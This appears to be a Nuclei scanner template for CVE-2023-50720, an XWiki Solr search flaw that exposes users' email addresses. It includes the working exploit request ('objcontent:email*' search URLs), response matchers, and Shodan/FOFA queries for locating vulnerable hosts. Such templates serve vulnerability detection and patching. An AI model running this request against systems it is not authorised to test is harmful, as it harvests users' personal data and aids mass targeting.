id: CVE-2023-50720

info:
  name: XWiki < 4.10.15 - Email Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    The Solr-based search in XWiki discloses the email addresses of users even when obfuscation of email addresses is enabled. To demonstrate the vulnerability, search for objcontent:email* using XWiki's regular search interface.
  impact: |
    Successful exploitation could lead to disclosure of the email of all the users.
  remediation: |
    This has been fixed in XWiki 14.10.15, 15.5.2 and 15.7RC1 by not indexing email address properties when obfuscation is enabled.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20371
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50720
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-50720
    cwe-id: CWE-200
    epss-score: 0.59119
    epss-percentile: 0.98992
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,email,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/Main/Search?sort=score&sortOrder=desc&highlight=true&facet=true&r=1&f_locale=en&f_locale=&text=objcontent%3Aemail*"
      - "{{BaseURL}}/xwiki/bin/view/Main/Search?sort=score&sortOrder=desc&highlight=true&facet=true&r=1&f_locale=en&f_locale=&text=objcontent%3Aemail*"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "email</span> :"
          - "XWiki.XWikiUsers[0]"
          - "email_checked</span>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207cb2006b5519e561968251a9b274e9b809a29b209527c8d845e2019f120cfa96022100e6116e08415be66e838cc8a04d07cf5d8dde08b0b0ce19cffe8ec9b65e624e6a:922c64590222798bb761d5b6d8e72950